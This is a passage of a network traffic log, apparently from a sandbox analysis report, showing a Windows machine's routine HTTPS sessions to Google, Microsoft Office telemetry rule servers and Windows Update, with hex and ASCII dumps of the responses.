2024-12-06 21:08:28 UTC	132	IN	Data Raw: 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 0d 0a Data Ascii: Array(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr
2024-12-06 21:08:28 UTC	298	IN	Data Raw: 31 32 33 0d 0a 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 68 5c 75 Data Ascii: 123(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.ih\u
2024-12-06 21:08:28 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5f 2e 4a 64 3f 5f 2e 4a 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d Data Ascii: 8000\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Od\u003dnew _.Nd(_.Jd?_.Jd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}
2024-12-06 21:08:28 UTC	1390	IN	Data Raw: 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 Data Ascii: nce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49719	142.250.181.68	443	7704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:27 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 21:08:28 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 06 Dec 2024 21:08:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 21:08:28 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-06 21:08:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:28 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2b878731-501e-008c-34ce-45cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210828Z-1746fd949bd4w8sthC1EWR700400000004f000000000kqt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:28 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:28 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210828Z-r1cf579d778zvkpnhC1EWRv23g00000000pg000000004stg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:08:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:28 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: c2a94a43-501e-00a0-7dd0-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210828Z-1746fd949bdjrnwqhC1EWRpg2800000004xg000000000p48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:28 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 22943564-b01e-0021-0b03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210828Z-r1cf579d778t6txphC1EWRsd4400000000y00000000066c1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:28 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 864f0b94-901e-00a0-42cc-456a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210828Z-1746fd949bdb8xvchC1EWRmbd400000004k0000000011e0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49722	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:29 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hhuOZ1mh1W8sXGL&MD=44SSmx1t HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-06 21:08:30 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cd0eef28-212b-4ce2-a7c7-e767b6c9b706 MS-RequestId: a9cc46dc-292a-4929-8622-52dbefead95e MS-CV: DZ4z+rsEDUaVCL0D.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 06 Dec 2024 21:08:28 GMT Connection: close Content-Length: 24490
2024-12-06 21:08:30 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-06 21:08:30 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:31 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 768bafd9-601e-0097-7968-47f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210831Z-1746fd949bd6zq92hC1EWRry4800000004pg00000000nmb5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:31 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210831Z-r1cf579d778d5zkmhC1EWRk6h800000000x0000000006nu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:31 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
